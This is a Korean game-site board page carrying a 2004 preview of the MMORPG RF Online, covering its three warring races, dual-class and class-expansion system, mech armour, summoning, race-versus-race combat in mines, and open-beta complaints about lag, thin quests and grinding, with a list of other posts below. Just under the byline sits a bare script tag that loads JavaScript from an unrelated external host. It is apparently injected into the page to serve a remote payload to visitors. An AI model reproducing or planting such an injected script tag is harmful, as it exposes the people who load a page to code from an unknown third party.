총 게시물 435건, 최근 0 건 안내
이전글  다음글  목록 수정 삭제
[프리뷰]

블록버스터 프로젝트, RF온라인

글쓴이 : betaon  (210.♡.170.60) 날짜 : 2004-09-10 (금) 12:41 조회 : 29707
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

한 별이 탄생하고 또 한 별이 죽어가는 자연의 법칙처럼, 게임 시장에도 우리 모두가 기억할 만한 게임들이 탄생되었다가, 서서히 잊혀져 가는 게임도 꽤 많다. 최근 혜성처럼 나타나 역시 대작이라는 평가를 받으며, 이목을 끌고 있는 게임이 있으니, CCR에서 자체 개발한 R3 엔진을 기반으로 만들어진 광활한 우주를 배경으로 하는 SF Action MMORPG, RF(Rising Force) 온라인이다.

메커니즘과 판타지의 환상주의적 세계관을 가지고 있는 RF온라인은 노바스 태양계라 불리는 은하계 변방에서 시작되며, 세 종족 (벨라토 연방군, 신성동맹 코라, 아크레시아 제국군) 간의 반목과 대립, 그리고 아케인 (ARCANE)을 상대로 세 종족의 항전을 담고 있다. 최소 PENTIUM-3 (600MHz), 64M Ram, 32MB이상의 비디오 메모리 정도의 그래픽 카드를 갖춘 PC 이상이 되어야만 게임을 즐길수 있으며, PENTIUM-4 이상, 128M Ram, 64MB이상의 비디오 메모리 정도의 그래픽 카드를 갖춘 PC정도가 되어야 원활하게 게임 할 수 있다.

RF온라인은 상당히 빠른 진행을 가진 액션 RPG이다. 또한 RF온라인 플레이 시 속도가 빠른 이유 중 하나는 고 퀄리티와 안정성을 유지하며 적은 메모리와 적은 리소스, 동적인 객체관리와 많은 데이터들을 효율적으로 관리하는 기술을 적용하기 때문에 여타 다른 게임 보다는 빠르다고 느껴지는 것이다. 세 종족에는 각각의 특징인 직업 성향과 기본직업 성향을 가지고 있다. 기본적인 직업 성향에는 "전사성향" "레인저 성향" "포스 성향" 이 있으며, 이것들은 직업 선택의 기본이 된다. RF온라인에는 캐릭터의 직업 외에도 보조적으로 다른직업을 가질 수 있게 듀얼-클래스 시스템을 지원한다. 예를들면, 연방군 캐릭터의 레인저 성향인 스나이퍼를 주 직업으로 가진 캐릭터가 부가적으로 드라이버의 능력을 함께 키울 수 있다는 뜻이다.

R3Technology은 CCR ,ODIN팀에서 온라인RPG 전용으로 만든 자체개발 엔진이다. 이 엔진을 통해 다양한 표현을 가능하게 하고, 낮은 사양에도 퀄리티를 높이기 위해 일단 같은 표현이라도 낮은 사양에도 만족할 수 있는 퀄리티를 내는 방법을 먼저 찾는 것을 우선으로 작업 하고 나서 고 사양에서 극대화된 표현작업을 진행하고 있다. RF온라인에서는 PVP(player vs player) 라는 말을 쓰지 않는다. 명분이 없는 일방적인 캐릭터간 학살(PK)은 지원하지 않으며, 생존을 위해 벌이는 전쟁을 RVR(race vs race)로 나타내고 있다. 각 종족은 점령지구에서는 안전한 생활을 즐길 수 있다. 하지만 채굴을 하는 장소인 광산에서는 다른 종족과 무한 RVR이 가능하다. 같은 종족끼리는 PVP가 불가능하다. 주변에 다른 종족이 있을 경우 레이더에 빨간 점으로 표시되며, 몬스터를 공격하는 것과 같은 방법으로 다른 종족을 죽일 수 있다.

RF온라인의 클래스는 성향의 선택과 클래스의 확장으로 짜여있다. 성향의 선택은 캐릭터를 생성할 때 캐릭터가 가질 플레이 스타일을 고르는 과정를 의미하는데, 근접 공격을 하는 워리어 직업군과 원거리 공격을 하는 레인저 직업군, 포스를 사용하는 스피리츄얼리스트 직업군과 특화된 기술 및 제작을 하는 특수 직업군으로 나누어진다. 클래스 확장은 게임을 진행하면서 일정한 분기점(레벨, 능력, 퀘스트)에서 확장된 형태의 클래스로 성장하는 것을 의미한다. 확장은 총 3단계로 이루어지는데 최종 3차 확장 클래스는 각 클래스마다 영웅단계를 가지고 있다. 1차 확장 클래스는 레벨 30에 전직이 가능하며, 이때 중급 베이직 스킬 사용권한이 생긴다. 또 해당 클래스만이 사용할 수 있는 class skill을 보상으로 받는다. 2차 확장 클래스는 1차 확장 클래스시에 결정한 클래스에 의해 확장 클래스가 발생하는 단계다. 따라서 1차 확장 클래스에 지대한 영향을 받는다. 3차 확장 클래스는 클래스 최종 단계로 궁극적인 단계다. 1,2차 확장 클래스의 종결단계로 최고 수준의 클래스 단계다. 최고급 베이직 스킬과 궁극의 클래스 스킬을 보상으로 받는다.

벨라토 연방 유저들이 가장 가지고 싶어하는 최고의 소유물로서, 기갑장비가 있다. 기갑장비를 사용하기 위해서는 레벨 30에 드라이버로 전직해야 한다. 획득 방법은 메인-프레임과 장비의 획득은 크게 두 가지로 구분된다. 첫 번째는 NPC(기갑장비 판매상)을 통하는 것 이고 두 번째는 유저간의 거래를 통해서 가능하다. 탑승을 위해 기갑장비를 격납고에서 출고해야 가능하다. 즉, 탑승이전에 반드시 격납고를 통해 필드에 끄집어 내어야 하다. 필드에 끄집어 낸 기갑장비는 시동이 꺼져있는 상태이며, 탑승하기 위해 마우스 왼쪽 버튼을 이용해 더블클릭하면 탑승하게 된다. 이때 탑승자가 해당 기갑장비의 증명서(열쇠)를 소지하였는지를 판단한다. 또한 탑승과 함께 기갑장비가 엔진 가동된다. 또한 코라인들만이 사용하는 소환(Summons)기술은 그들이 사용하는 포스(FORCE)에서 그 근원을 찾을 수 있다. 즉, 소환 기술 역시 포스(FORCE)로 대표되는 포스 기술 중의 하나라는 것이다. 코라인들이 사용하는 소환 기술은 공간을 왜곡하는 능력에서 시작된다. 왜곡시킨 공간을 통해 소환수를 불러오는 기술을 코라인들의 소환 기술이라 한다. 애니머스를 소환하기 위해서는 레벨 30에 서머너로 전직해야 한다.


RF온라인에는 다양한 형태의 아이템이 등장한다. SF판타지 세계관에 어울리는 무기에서부터 중세에 등장하는 아이템까지 용도와 효용성에 최적화된 아이템들이 제공된다. 캐릭터는 모든 아이템을 이용할 수 있는 잠재력을 가지고 있으며, 경우에 따라 캐릭터 특성에 최적화된 아이템이 존재하기도 한다. 이런 다양한 종류의 무기들은 전투스타일에 영향을 끼치며, 캐릭터 전투 성향을 결정하는 중요한 요소로 작용한다.

RF의 시스템 체계가 대단하고, 역시 많은 시간과 돈과 열정을 바친, 대작이라는 평가를 유저들에게 받고 있다. 그러나, 언제나 그렇지만 그런 평가 뒤에는 많은 지적들이 따라온다. 가장 흔한 지적은 렉에 대한 것이다. 오픈 베타시에 많은 게임들이, 렉에 대한 압박을 호소한다. 물론 개개인의 PC의 문제다 말할 수도 있겠으나, 랙은 더 많은 서버를 추가 등 더욱 개선되어야 할 점이라고 본다. RF온라인도 역시 다른 MMORPG 처럼 퀘스트가 있다. 온라인 게임 사상 초유의 블록버스터 프로젝트라는 명제에 비해 퀘스트가 빈약하다는 생각이 든다. 숙성치도 초반에는 꽤 잘 오르는 편이지만, 후반에는 몹 사냥이 좀처럼 쉽지 않다. 초반에 파티 사냥을 하면 빠른 레벨업으로 재미를 느끼지만, 반복 적이 패턴의 사냥 등은 필드의 한계를 가져오게 한다. 또한 현재 RF온라인은 노가다 게임이라는 도마에 올라 있다. 광산 때문에 그런 인식이 있는 것 같다. 물론, 시간이 지나고 렙을 올리게 되면 기분이야 좋겠지만, 그 과정을 즐기면서 할 수 있는 채팅 시스템 강화, 무역 등의 커뮤니티의 지원이 더 필요하다고 본다. 온라인 게임의 묘미가 사람과 사람이 만나는 것이 아닌가. 혈맹과 같은 유저간의 친밀감을 높힐수 있는 시스템이 필요하다고 본다.

RF온라인은 그래픽도 화려하고, 인터페이스도 익숙하고, 아기자기한 재미가 있는 게임이다. 또한 마우스로만 이뤄지는 유닛 조종, 온라인 게임 초보자를 위해 마련된 친절한 ‘튜토리얼 모드’는 새롭게 게임을 접하는 유저들이 둥지를 틀 수 있는 좋은 계기를 마련할 것이다. 또한 각종스킬과 포스마법, 각종 방어력 등 기존의 온라인게임에서 볼 수 없었던 새로운 시스템의 성장단계가 있고, RVR 등의 거대 전쟁은 진정한 재미를 가져오게 할 것이다. 필자는 개인적으로, 한국에 내놓을만한 대작이 나왔다는 것에 기분이 좋다. 그러나 게임사가 대작이라는 자만감보다, 유저들의 고마운 오픈베타의 지적을 발판으로 삼아, 더욱 겸비한 마음으로 정진하기를 바란다. RF 건투를 빈다.


이전글  다음글  목록 수정 삭제

총 게시물 435건, 최근 0 건 안내
번호 분류 이미지 제목 글쓴이 날짜 추천 비추천 조회
435 프리뷰  블리자드 스케일, 와우 betaon 11-22 1457 0 60314
434 프리뷰  <드래곤 에이지: 오리진> 체험기 29 소솜 10-30 93 0 48891
433 리뷰  [리뷰] 배틀필드 2 16 betagam 07-04 208 0 42134
432 프리뷰  디아블로 3 69 betagam 07-11 95 0 41446
431 프리뷰  프린세스메이커 5 29 betagam 02-02 178 0 32796
430 리뷰  스타크래프트2 플레이 소감 36 퀘이크마스터 08-12 82 0 31541
429 리뷰  [리뷰] 블랙 앤 화이트 2 18 betagam 10-18 160 0 31352
428 리뷰  [리뷰] 프린세스 메이커 4 23 betagam 06-11 145 0 30487
427 프리뷰  블록버스터 프로젝트, RF온라인 betaon 09-10 1288 0 29708
426 프리뷰  동화와 판타지, 로즈 온라인 betaon 10-08 1372 0 29614
425 프리뷰  스타크래프트 2 21 betagam 07-05 152 0 28819
424 리뷰  게임시장의 새로운 바람, AOS장르 8 엄마랑원터치 11-27 118 0 28806
423 리뷰  "오픈월드 RPG에 화려한 액션을 더했다" 킹덤오브아말러:레코닝 17 betagam 02-23 2 0 28414
422 리뷰  [리뷰] 이스 페르가나의 맹세 11 betagam 09-01 219 0 28320
421 프리뷰  명작 "바이오쇼크"를 말하다 35 작가-현영 09-01 196 0 27360
420 프리뷰  열혈강호-무림쟁패 betamo 10-05 1478 0 26937
419 리뷰  공포 어드벤쳐, 피넘브라 30 pluto9 07-02 95 0 26876
418 프리뷰  절대고수를 꿈꾼다! 십이지천 betagam 11-11 1533 0 26756
417 리뷰  레전드 오브 그림락 : 4인의 모험담과 필사의 탈출기! 13 cOOLwARP 11-03 5 0 26543
416 리뷰  Prince Of Persia 2008 [-X-] 24 -X- 12-20 76 0 25992
1 2 3 4 5 6 7 8 9 10